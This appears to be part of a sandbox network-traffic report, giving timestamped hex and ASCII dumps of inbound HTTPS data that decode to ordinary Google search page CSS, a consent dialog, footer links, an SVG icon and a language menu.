Data Ascii: g-top:0}.mus_il_at{margin-left:10px}.mus_il_st{right:52px;position:absolute}.mus_il_i{align:left;margin-righ
t:10px}.mus_it3{margin-bottom:3px;max-height:24px;vertical-align:bottom}.mus_it5{height:24px;width:24px;vertical-align:b
ottom;margin-left:10px;marg
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2021-09-14 14:03:24 UTC 96 IN Data Raw: 70 6f 69 6e 74 65 72 3b 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 7d 2e 6c 4a 39 46 42 63 20 69 6e 70 
75 74 5b 74 79 70 65 3d 22 73 75 62 6d 69 74 22 5d 3a 68 6f 76 65 72 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 31 70 78 
20 31 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 38 
66 39 66 61 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 64 61 64 63 65 30 3b 63 6f 6c 6f 72 3a 23 32 30 32 
31 32 34 7d 2e 6c 4a 39 46 42 63 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 75 62 6d 69 74 22 5d 3a 66 6f 63 75 73 7b 
62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 34 32 38 35 66 34 3b 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 7d 3c 2f 
73 74 79 6c 65 3e 20 3c 63 65 6e 74 65 72 3e 20 3c 69 6e 70 
Data Ascii: pointer;user-select:none}.lJ9FBc input[type="submit"]:hover{box-shadow:0 1px 1px rgba(0,0,0,.1);background-c
olor:#f8f9fa;border:1px solid #dadce0;color:#202124}.lJ9FBc input[type="submit"]:focus{border:1px solid #4285f4;outline:
none}</style> <center> <inp

2021-09-14 14:03:24 UTC 97 IN Data Raw: 65 72 3d 22 45 6b 65 76 58 62 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 20 6a 73 61 
63 74 69 6f 6e 3d 22 72 63 75 51 36 62 3a 6e 70 54 32 6d 64 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 69 64 3d 22 64 75 66 
33 2d 34 36 22 20 64 61 74 61 2d 6a 69 69 73 3d 22 75 70 22 20 64 61 74 61 2d 61 73 79 6e 63 2d 74 79 70 65 3d 22 64 
75 66 66 79 33 22 20 64 61 74 61 2d 61 73 79 6e 63 2d 63 6f 6e 74 65 78 74 2d 72 65 71 75 69 72 65 64 3d 22 74 79 70 
65 2c 6f 70 65 6e 2c 66 65 61 74 75 72 65 5f 69 64 2c 61 73 79 6e 63 5f 69 64 2c 65 6e 74 72 79 5f 70 6f 69 6e 74 2c 61 
75 74 68 6f 72 69 74 79 2c 63 61 72 64 5f 69 64 2c 66 74 6f 65 2c 74 69 74 6c 65 2c 68 65 61 64 65 72 2c 73 75 67 67 65 
73 74 69 6f 6e 73 2c 73 75 72 66 61 63 65 2c 73 75 67 67 65 73 
Data Ascii: er="EkevXb" style="display:none" jsaction="rcuQ6b:npT2md"></div><div id="duf3-46" data-jiis="up" data-async-
type="duffy3" data-async-context-required="type,open,feature_id,async_id,entry_point,authority,card_id,ftoe,title,header
,suggestions,surface,sugges

2021-09-14 14:03:24 UTC 99 IN Data Raw: 6d 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 33 6a 39 39 20 71 61 72 73 74 62 22 3e 3c 73 
74 79 6c 65 3e 2e 76 63 56 5a 37 64 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 3c 2f 73 74 79 6c 65 3e 3c 
2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 33 6a 39 39 20 63 39 33 47 62 65 22 3e 3c 73 74 79 6c 65 3e 2e 63 
39 33 47 62 65 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 32 66 32 66 32 7d 2e 75 55 37 64 4a 62 7b 70 61 64 64 69 6e 
67 3a 31 35 70 78 20 33 30 70 78 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 23 64 61 64 
63 65 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 35 34 29 
7d 2e 53 53 77 6a 49 65 7b 70 61 64 64 69 6e 67 3a 30 20 32 
Data Ascii: m></div><div class="o3j99 qarstb"><style>.vcVZ7d{text-align:center}</style></div><div class="o3j99 c93Gbe">
<style>.c93Gbe{background:#f2f2f2}.uU7dJb{padding:15px 30px;border-bottom:1px solid #dadce0;font-size:15px;colo
r:rgba(0,0,0,.54)}.SSwjIe{padding:0 2

2021-09-14 14:03:24 UTC 100 IN Data Raw: 4c 63 30 50 37 79 41 68 57 4e 33 4b 51 4b 48 52 6c 58 42 7a 73 51 6b 64 51 43 43 41 34 27 2c 27 27 2c 27 27 
2c 65 76 65 6e 74 29 22 3e 41 64 76 65 72 74 69 73 69 6e 67 3c 2f 61 3e 3c 61 20 63 6c 61 73 73 3d 22 70 48 69 4f 68 22 
20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 3f 73 
75 62 69 64 3d 77 77 2d 77 77 2d 65 74 2d 67 2d 61 77 61 2d 61 2d 67 5f 68 70 62 66 6f 6f 74 31 5f 31 21 6f 32 26 61 6d 
70 3b 75 74 6d 5f 73 6f 75 72 63 65 3d 67 6f 6f 67 6c 65 2e 63 6f 6d 26 61 6d 70 3b 75 74 6d 5f 6d 65 64 69 75 6d 3d 72 
65 66 65 72 72 61 6c 26 61 6d 70 3b 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 67 6f 6f 67 6c 65 5f 68 70 62 66 6f 6f 74 65 
72 26 61 6d 70 3b 66 67 3d 31 22 20 6f 6e 6d 6f 75 73 
Data Ascii: Lc0P7yAhWN3KQKHRlXBzsQkdQCCA4','','',event)">Advertising</a><a class="pHiOh" href="https://www.goo
gle.com/services/?subid=ww-ww-et-g-awa-a-g_hpbfoot1_1!o2&amp;utm_source=google.com&amp;utm_medium=re
ferral&amp;utm_campaign=google_hpbfooter&amp;fg=1" onmous

2021-09-14 14:03:24 UTC 101 IN Data Raw: 73 70 61 6e 20 63 6c 61 73 73 3d 22 6b 74 4c 4b 69 22 3e 43 61 72 62 6f 6e 20 6e 65 75 74 72 61 6c 20 73 69 
6e 63 65 20 32 30 30 37 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 4b 78 77 
50 47 63 20 69 54 6a 78 6b 66 22 3e 3c 61 20 63 6c 61 73 73 3d 22 70 48 69 4f 68 22 20 68 72 65 66 3d 22 68 74 74 70 
73 3a 2f 2f 70 6f 6c 69 63 69 65 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 70 72 69 76 61 63 79 3f 68 6c 3d 65 6e 2d 47 42 26 
61 6d 70 3b 66 67 3d 31 22 20 6f 6e 6d 6f 75 73 65 64 6f 77 6e 3d 22 72 65 74 75 72 6e 20 72 77 74 28 74 68 69 73 2c 27 
27 2c 27 27 2c 27 27 2c 27 27 2c 27 41 4f 76 56 61 77 31 66 33 6f 2d 33 69 67 46 77 46 75 72 68 6e 6d 77 49 76 45 30 33 
27 2c 27 27 2c 27 30 61 68 55 4b 45 77 69 4e 73 61 4c 63 
Data Ascii: span class="ktLKi">Carbon neutral since 2007</span></a></div><div class="KxwPGc iTjxkf"><a class="pHiOh" 
href="https://policies.google.com/privacy?hl=en-GB&amp;fg=1" onmousedown="return rwt(this,'','','','','AOvVaw1f3o-
3igFwFurhnmwIvE03','','0ahUKEwiNsaLc

2021-09-14 14:03:24 UTC 103 IN Data Raw: 70 6e 66 22 20 72 6f 6c 65 3d 22 6d 65 6e 75 22 20 6a 73 61 63 74 69 6f 6e 3d 22 6b 65 79 64 6f 77 6e 3a 4f 
45 58 43 33 63 3b 66 6f 63 75 73 6f 75 74 3a 59 34 38 70 56 62 22 3e 3c 6c 69 20 72 6f 6c 65 3d 22 6e 6f 6e 65 22 3e 3c 
61 20 63 6c 61 73 73 3d 22 45 7a 56 52 71 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 
2e 63 6f 6d 2f 70 72 65 66 65 72 65 6e 63 65 73 3f 68 6c 3d 65 6e 2d 47 42 26 61 6d 70 3b 66 67 3d 31 22 20 72 6f 6c 65 
3d 22 6d 65 6e 75 69 74 65 6d 22 20 74 61 62 69 6e 64 65 78 3d 22 2d 31 22 3e 53 65 61 72 63 68 20 73 65 74 74 69 6e 
67 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 72 6f 6c 65 3d 22 6e 6f 6e 65 22 3e 3c 61 20 63 6c 61 73 73 3d 22 45 7a 56 
52 71 22 20 68 72 65 66 3d 22 2f 61 64 76 61 6e 63 65 64 5f 
Data Ascii: pnf" role="menu" jsaction="keydown:OEXC3c;focusout:Y48pVb"><li role="none"><a class="EzVRq" href="
https://www.google.com/preferences?hl=en-GB&amp;fg=1" role="menuitem" tabindex="-1">Search settings</a></li><li 
role="none"><a class="EzVRq" href="/advanced_

2021-09-14 14:03:24 UTC 104 IN Data Raw: 6f 70 3a 34 70 78 7d 2e 74 46 59 6a 5a 65 3a 68 6f 76 65 72 20 2e 69 4f 48 4e 4c 62 2c 2e 74 46 59 6a 5a 65 
3a 66 6f 63 75 73 20 2e 69 4f 48 4e 4c 62 7b 6f 70 61 63 69 74 79 3a 31 7d 2e 69 4f 48 4e 4c 62 7b 63 6f 6c 6f 72 3a 23 
37 30 37 35 37 61 3b 68 65 69 67 68 74 3a 32 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 70 78 3b 6f 70 61 63 
69 74 79 3a 30 3b 77 69 64 74 68 3a 32 30 70 78 7d 3c 2f 73 74 79 6c 65 3e 3c 64 69 76 20 6a 73 63 6f 6e 74 72 6f 6c 6c 
65 72 3d 22 66 58 4f 30 78 65 22 20 63 6c 61 73 73 3d 22 74 46 59 6a 5a 65 22 20 64 61 74 61 2d 62 73 64 6d 3d 22 30 
22 20 64 61 74 61 2d 62 74 66 3d 22 30 22 20 64 61 74 61 2d 68 62 63 3d 22 23 31 61 37 33 65 38 22 20 64 61 74 61 2d 
68 74 63 3d 22 23 66 66 66 22 20 64 61 74 61 2d 73 70 74 3d 22 31 
Data Ascii: op:4px}.tFYjZe:hover .iOHNLb,.tFYjZe:focus .iOHNLb{opacity:1}.iOHNLb{color:#70757a;height:20px;margin-
top:-2px;opacity:0;width:20px}</style><div jscontroller="fXO0xe" class="tFYjZe" data-bsdm="0" data-btf="0" data-hbc=
"#1a73e8" data-htc="#fff" data-spt="1

2021-09-14 14:03:24 UTC 105 IN Data Raw: 30 2e 33 39 2c 30 2e 33 39 2c 31 2e 30 33 2c 30 2e 33 39 2c 31 2e 34 31 2c 30 63 30 2e 33 39 2d 30 2e 33 39 
2c 30 2e 33 39 2d 31 2e 30 33 2c 30 2d 31 2e 34 31 4c 31 38 2e 33 36 2c 31 36 2e 39 35 7a 20 4d 31 39 2e 34 32 2c 35 
2e 39 39 63 30 2e 33 39 2d 30 2e 33 39 2c 30 2e 33 39 2d 31 2e 30 33 2c 30 2d 31 2e 34 31 20 63 2d 30 2e 33 39 2d 30 
2e 33 39 2d 31 2e 30 33 2d 30 2e 33 39 2d 31 2e 34 31 2c 30 6c 2d 31 2e 30 36 2c 31 2e 30 36 63 2d 30 2e 33 39 2c 30 2
e 33 39 2d 30 2e 33 39 2c 31 2e 30 33 2c 30 2c 31 2e 34 31 73 31 2e 30 33 2c 30 2e 33 39 2c 31 2e 34 31 2c 30 4c 31 39 
2e 34 32 2c 35 2e 39 39 7a 20 4d 37 2e 30 35 2c 31 38 2e 33 36 20 63 30 2e 33 39 2d 30 2e 33 39 2c 30 2e 33 39 2d 31 
2e 30 33 2c 30 2d 31 2e 34 31 63 2d 30 2e 33 39 2d 30 2e 33 39 2d 31 
Data Ascii: 0.39,0.39,1.03,0.39,1.41,0c0.39-0.39,0.39-1.03,0-1.41L18.36,16.95z M19.42,5.99c0.39-0.39,0.39-1.03,0-1.41 
c-0.39-0.39-1.03-0.39-1.41,0l-1.06,1.06c-0.39,0.39-0.39,1.03,0,1.41s1.03,0.39,1.41,0L19.42,5.99z M7.05,18.36 c0.39-
0.39,0.39-1.03,0-1.41c-0.39-0.39-1

Timestamp
kBytes
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2021-09-14 14:03:24 UTC 106 IN Data Raw: 62 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 37 31 70 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 
64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 7d 2e 57 32 61 50 74 62 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 6d 
61 72 67 69 6e 3a 30 20 61 75 74 6f 7d 2e 4b 78 76 6c 57 63 7b 77 69 64 74 68 3a 37 30 30 70 78 3b 68 65 69 67 68 74 
3a 61 75 74 6f 7d 2e 49 4b 6c 37 51 2e 68 6d 53 46 41 65 7b 77 69 64 74 68 3a 37 30 30 70 78 3b 62 6f 78 2d 73 69 7a 69 
6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 3c 2f 73 74 79 6c 65 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 48 54 6a 74 48 65 
22 20 69 64 3d 22 78 65 37 43 4f 65 22 20 74 69 74 6c 65 3d 22 42 65 66 6f 72 65 20 79 6f 75 20 63 6f 6e 74 69 6e 75 65 
20 74 6f 20 47 6f 6f 67 6c 65 20 53 65 61 72 63 68 22 20 61 
Data Ascii: b{margin-top:71px;display:flex;flex-direction:column}.W2aPtb{display:block;margin:0 auto}.KxvlWc{width:700px
;height:auto}.IKl7Q.hmSFAe{width:700px;box-sizing:border-box}</style><div class="HTjtHe" id="xe7COe" title="Before you 
continue to Google Search" a

2021-09-14 14:03:24 UTC 108 IN Data Raw: 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2e 79 4b 35 36 62 7b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 
65 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 
64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 7d 2e 48 76 35 55 45 62 7b 77 69 64 74 68 3a 33 30 70 78 3b 68 65 69 67 
68 74 3a 33 30 70 78 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 7d 2e 62 30 70 72 78 7b 6d 61 72 67 
69 6e 2d 72 69 67 68 74 3a 32 30 70 78 3b 77 69 64 74 68 3a 32 34 70 78 3b 68 65 69 67 68 74 3a 32 34 70 78 7d 2e 41 
49 36 77 41 63 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 23 65 62 65 62 65 62 3b 70 61 
64 64 69 6e 67 3a 31 35 70 78 20 31 30 70 78 3b 62 6f 78 2d 73 69 
Data Ascii: ing:border-box}.yK56b{list-style:none;padding:0;margin:0;display:flex;flex-direction:column}.Hv5UEb{width:30
px;height:30px;pointer-events:none}.b0prx{margin-right:20px;width:24px;height:24px}.AI6wAc{border-bottom:1px solid 
#ebebeb;padding:15px 10px;box-si

2021-09-14 14:03:24 UTC 109 IN Data Raw: 6e 4d 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 41 76 63 
33 5a 6e 49 6a 34 4b 50 48 42 68 64 47 67 67 5a 6d 6c 73 62 43 31 79 64 57 78 6c 50 53 4a 6c 64 6d 56 75 62 32 52 6b 
49 69 42 6a 62 47 6c 77 4c 58 4a 31 62 47 55 39 49 6d 56 32 5a 57 35 76 5a 47 51 69 49 47 51 39 49 6b 30 79 4c 6a 55 
67 4d 54 56 44 4d 69 34 31 49 44 67 75 4d 53 41 34 4c 6a 41 34 4e 7a 55 67 4d 69 34 31 49 44 45 30 4c 6a 6b 34 4e 7a 5
5 67 4d 69 34 31 51 7a 49 78 4c 6a 6b 67 4d 69 34 31 49 44 49 0d 0a 
Data Ascii: nM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPHBhdGggZmlsbC1ydWxlPSJldmVub2RkIiB
jbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik0yLjUgMTVDMi41IDguMSA4LjA4NzUgMi41IDE0Ljk4NzUgMi41QzIxLjkgMi41IDI

2021-09-14 14:03:24 UTC 109 IN Data Raw: 34 37 32 61 0d 0a 33 4c 6a 55 67 4f 43 34 78 49 44 49 33 4c 6a 55 67 4d 54 56 44 4d 6a 63 75 4e 53 41 79 4d 
53 34 35 49 44 49 78 4c 6a 6b 67 4d 6a 63 75 4e 53 41 78 4e 43 34 35 4f 44 63 31 49 44 49 33 4c 6a 56 44 4f 43 34 77 4f 
44 63 31 49 44 49 33 4c 6a 55 67 4d 69 34 31 49 44 49 78 4c 6a 6b 67 4d 69 34 31 49 44 45 31 57 6b 30 78 4f 53 34 35 
4e 6a 49 31 49 44 45 77 53 44 49 7a 4c 6a 59 31 51 7a 49 79 4c 6a 51 31 49 44 63 75 4f 54 4d 33 4e 53 41 79 4d 43 34 
31 4d 7a 63 31 49 44 59 75 4d 7a 4d 33 4e 53 41 78 4f 43 34 79 4d 7a 63 31 49 44 55 75 4e 54 56 44 4d 54 67 75 4f 54 6
7 33 4e 53 41 32 4c 6a 6b 7a 4e 7a 55 67 4d 54 6b 75 4e 54 59 79 4e 53 41 34 4c 6a 51 7a 4e 7a 55 67 4d 54 6b 75 4f 54 
59 79 4e 53 41 78 4d 46 70 4e 4d 54 55 67 4e 53 34 77 4e 55 4d 78 
Data Ascii: 472a3LjUgOC4xIDI3LjUgMTVDMjcuNSAyMS45IDIxLjkgMjcuNSAxNC45ODc1IDI3LjVDOC4wODc1I
DI3LjUgMi41IDIxLjkgMi41IDE1Wk0xOS45NjI1IDEwSDIzLjY1QzIyLjQ1IDcuOTM3NSAyMC41Mzc1IDYuMzM3NSA
xOC4yMzc1IDUuNTVDMTguOTg3NSA2LjkzNzUgMTkuNTYyNSA4LjQzNzUgMTkuOTYyNSAxMFpNMTUgNS4wNUMx

2021-09-14 14:03:24 UTC 110 IN Data Raw: 7a 63 31 49 44 49 30 4c 6a 51 31 57 6b 30 79 4d 43 34 32 4d 6a 55 67 4d 54 56 44 4d 6a 41 75 4e 6a 49 31 49 
44 45 31 4c 6a 67 31 49 44 49 77 4c 6a 55 31 49 44 45 32 4c 6a 59 33 4e 53 41 79 4d 43 34 30 4e 53 41 78 4e 79 34 31 
53 44 49 30 4c 6a 59 33 4e 55 4d 79 4e 43 34 34 4e 7a 55 67 4d 54 59 75 4e 79 41 79 4e 53 41 78 4e 53 34 34 4e 6a 49 
31 49 44 49 31 49 44 45 31 51 7a 49 31 49 44 45 30 4c 6a 45 7a 4e 7a 55 67 4d 6a 51 75 4f 44 63 31 49 44 45 7a 4c 6a 4
d 67 4d 6a 51 75 4e 6a 63 31 49 44 45 79 4c 6a 56 49 4d 6a 41 75 4e 44 56 44 4d 6a 41 75 4e 54 55 67 4d 54 4d 75 4d 
7a 49 31 49 44 49 77 4c 6a 59 79 4e 53 41 78 4e 43 34 78 4e 53 41 79 4d 43 34 32 4d 6a 55 67 4d 54 56 61 49 69 42 6d 
61 57 78 73 50 53 49 6a 4e 44 49 34 4e 55 59 30 49 69 38 2b 43 6a 77 76 
Data Ascii: zc1IDI0LjQ1Wk0yMC42MjUgMTVDMjAuNjI1IDE1Ljg1IDIwLjU1IDE2LjY3NSAyMC40NSAxNy41SDI
0LjY3NUMyNC44NzUgMTYuNyAyNSAxNS44NjI1IDI1IDE1QzI1IDE0LjEzNzUgMjQuODc1IDEzLjMgMjQuNjc1IDEyL
jVIMjAuNDVDMjAuNTUgMTMuMzI1IDIwLjYyNSAxNC4xNSAyMC42MjUgMTVaIiBmaWxsPSIjNDI4NUY0Ii8+Cjwv

2021-09-14 14:03:24 UTC 112 IN Data Raw: 80 ac 22 20 64 61 74 61 2d 68 6c 3d 22 63 61 22 20 72 6f 6c 65 3d 22 6d 65 6e 75 69 74 65 6d 22 20 74 61 62 
69 6e 64 65 78 3d 22 30 22 3e e2 80 aa 63 61 74 61 6c c3 a0 e2 80 ac 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 47 
65 30 41 75 62 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 e2 80 aa c4 8c 65 c5 a1 74 69 6e 61 e2 80 ac 22 20 64 61 74 
61 2d 68 6c 3d 22 63 73 22 20 72 6f 6c 65 3d 22 6d 65 6e 75 69 74 65 6d 22 20 74 61 62 69 6e 64 65 78 3d 22 30 22 3e 
e2 80 aa c4 8c 65 c5 a1 74 69 6e 61 e2 80 ac 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 47 65 30 41 75 62 22 20 61 
72 69 61 2d 6c 61 62 65 6c 3d 22 e2 80 aa 43 79 6d 72 61 65 67 e2 80 ac 22 20 64 61 74 61 2d 68 6c 3d 22 63 79 22 20 7
2 6f 6c 65 3d 22 6d 65 6e 75 69 74 65 6d 22 20 74 61 62 69 6e 64 
Data Ascii: " data-hl="ca" role="menuitem" tabindex="0">catal</li><li class="Ge0Aub" aria-label="etina" data-hl="cs" rol
e="menuitem" tabindex="0">etina</li><li class="Ge0Aub" aria-label="Cymraeg" data-hl="cy" role="menuitem" tabind

2021-09-14 14:03:24 UTC 113 IN Data Raw: 61 2d 68 6c 3d 22 66 69 6c 22 20 72 6f 6c 65 3d 22 6d 65 6e 75 69 74 65 6d 22 20 74 61 62 69 6e 64 65 78 3d 
22 30 22 3e e2 80 aa 46 69 6c 69 70 69 6e 6f e2 80 ac 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 47 65 30 41 75 62 
22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 e2 80 aa 46 72 61 6e c3 a7 61 69 73 20 28 43 61 6e 61 64 61 29 e2 80 ac 22 
20 64 61 74 61 2d 68 6c 3d 22 66 72 2d 43 41 22 20 72 6f 6c 65 3d 22 6d 65 6e 75 69 74 65 6d 22 20 74 61 62 69 6e 64 
65 78 3d 22 30 22 3e e2 80 aa 46 72 61 6e c3 a7 61 69 73 20 28 43 61 6e 61 64 61 29 e2 80 ac 3c 2f 6c 69 3e 3c 6c 69 20 
63 6c 61 73 73 3d 22 47 65 30 41 75 62 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 e2 80 aa 46 72 61 6e c3 a7 61 69 73 2
0 28 46 72 61 6e 63 65 29 e2 80 ac 22 20 64 61 74 61 2d 68 6c 3d 
Data Ascii: a-hl="fil" role="menuitem" tabindex="0">Filipino</li><li class="Ge0Aub" aria-label="Franais (Canada)" data-h
l="fr-CA" role="menuitem" tabindex="0">Franais (Canada)</li><li class="Ge0Aub" aria-label="Franais (France)" data-hl=

2021-09-14 14:03:24 UTC 114 IN Data Raw: 41 75 62 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 e2 80 aa 6c 69 65 74 75 76 69 c5 b3 e2 80 ac 22 20 64 61 
74 61 2d 68 6c 3d 22 6c 74 22 20 72 6f 6c 65 3d 22 6d 65 6e 75 69 74 65 6d 22 20 74 61 62 69 6e 64 65 78 3d 22 30 22 
3e e2 80 aa 6c 69 65 74 75 76 69 c5 b3 e2 80 ac 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 47 65 30 41 75 62 22 20 
61 72 69 61 2d 6c 61 62 65 6c 3d 22 e2 80 aa 6d 61 67 79 61 72 e2 80 ac 22 20 64 61 74 61 2d 68 6c 3d 22 68 75 22 20 
72 6f 6c 65 3d 22 6d 65 6e 75 69 74 65 6d 22 20 74 61 62 69 6e 64 65 78 3d 22 30 22 3e e2 80 aa 6d 61 67 79 61 72 e2 8
0 ac 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 47 65 30 41 75 62 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 e2 80 
aa 4d 65 6c 61 79 75 e2 80 ac 22 20 64 61 74 61 2d 68 6c 3d 22 6d 
Data Ascii: Aub" aria-label="lietuvi" data-hl="lt" role="menuitem" tabindex="0">lietuvi</li><li class="Ge0Aub" aria-labe
l="magyar" data-hl="hu" role="menuitem" tabindex="0">magyar</li><li class="Ge0Aub" aria-label="Melayu" data-hl="m

2021-09-14 14:03:24 UTC 115 IN Data Raw: aa 53 6c 6f 76 65 6e c4 8d 69 6e 61 e2 80 ac 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 47 65 30 41 75 
62 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 e2 80 aa 73 6c 6f 76 65 6e c5 a1 c4 8d 69 6e 61 e2 80 ac 22 20 64 61 74 61 
2d 68 6c 3d 22 73 6c 22 20 72 6f 6c 65 3d 22 6d 65 6e 75 69 74 65 6d 22 20 74 61 62 69 6e 64 65 78 3d 22 30 22 3e e2 
80 aa 73 6c 6f 76 65 6e c5 a1 c4 8d 69 6e 61 e2 80 ac 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 47 65 30 41 75 62 
22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 e2 80 aa 73 72 70 73 6b 69 20 28 6c 61 74 69 6e 69 63 61 29 e2 80 ac 22 20 
64 61 74 61 2d 68 6c 3d 22 73 72 2d 4c 61 74 6e 22 20 72 6f 6c 65 3d 22 6d 65 6e 75 69 74 65 6d 22 20 74 61 62 69 6e 6
4 65 78 3d 22 30 22 3e e2 80 aa 73 72 70 73 6b 69 20 28 6c 61 74 
Data Ascii: Slovenina</li><li class="Ge0Aub" aria-label="slovenina" data-hl="sl" role="menuitem" tabindex="0">slovenina<
/li><li class="Ge0Aub" aria-label="srpski (latinica)" data-hl="sr-Latn" role="menuitem" tabindex="0">srpski (lat

Timestamp
kBytes
transferred Direction Data
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2021-09-14 14:03:24 UTC 117 IN Data Raw: 69 6e 64 65 78 3d 22 30 22 3e e2 80 aa d0 bc d0 b0 d0 ba d0 b5 d0 b4 d0 be d0 bd d1 81 d0 ba d0 b8 e2 80 ac 
3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 47 65 30 41 75 62 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 e2 80 aa d0 
bc d0 be d0 bd d0 b3 d0 be d0 bb e2 80 ac 22 20 64 61 74 61 2d 68 6c 3d 22 6d 6e 22 20 72 6f 6c 65 3d 22 6d 65 6e 75 
69 74 65 6d 22 20 74 61 62 69 6e 64 65 78 3d 22 30 22 3e e2 80 aa d0 bc d0 be d0 bd d0 b3 d0 be d0 bb e2 80 ac 3c 2f 
6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 47 65 30 41 75 62 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 e2 80 aa d0 a0 d
1 83 d1 81 d1 81 d0 ba d0 b8 d0 b9 e2 80 ac 22 20 64 61 74 61 2d 68 6c 3d 22 72 75 22 20 72 6f 6c 65 3d 22 6d 65 6e 75 
69 74 65 6d 22 20 74 61 62 69 6e 64 65 78 3d 22 30 22 3e e2 80 aa 
Data Ascii: index="0"></li><li class="Ge0Aub" aria-label="" data-hl="mn" role="menuitem" tabindex="0"></li><li class="Ge
0Aub" aria-label="" data-hl="ru" role="menuitem" tabindex="0">

2021-09-14 14:03:24 UTC 118 IN Data Raw: 22 30 22 3e 3c 73 70 61 6e 20 64 69 72 3d 22 6c 74 72 22 3e e2 80 ab d8 a7 d9 84 d8 b9 d8 b1 d8 a8 d9 8a d8 
a9 e2 80 ac 3c 2f 73 70 61 6e 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 47 65 30 41 75 62 22 20 61 72 69 61 2d 
6c 61 62 65 6c 3d 22 e2 80 ab d9 81 d8 a7 d8 b1 d8 b3 db 8c e2 80 ac 22 20 64 61 74 61 2d 68 6c 3d 22 66 61 22 20 72 
6f 6c 65 3d 22 6d 65 6e 75 69 74 65 6d 22 20 74 61 62 69 6e 64 65 78 3d 22 30 22 3e 3c 73 70 61 6e 20 64 69 72 3d 22 
6c 74 72 22 3e e2 80 ab d9 81 d8 a7 d8 b1 d8 b3 db 8c e2 80 ac 3c 2f 73 70 61 6e 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 
73 73 3d 22 47 65 30 41 75 62 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 e2 80 aa e1 8a a0 e1 88 9b e1 88 ad e1 8a 9b e
2 80 ac 22 20 64 61 74 61 2d 68 6c 3d 22 61 6d 22 20 72 6f 6c 65 
Data Ascii: "0"><span dir="ltr"></span></li><li class="Ge0Aub" aria-label="" data-hl="fa" role="menuitem" tabindex="0"><
span dir="ltr"></span></li><li class="Ge0Aub" aria-label="" data-hl="am" role

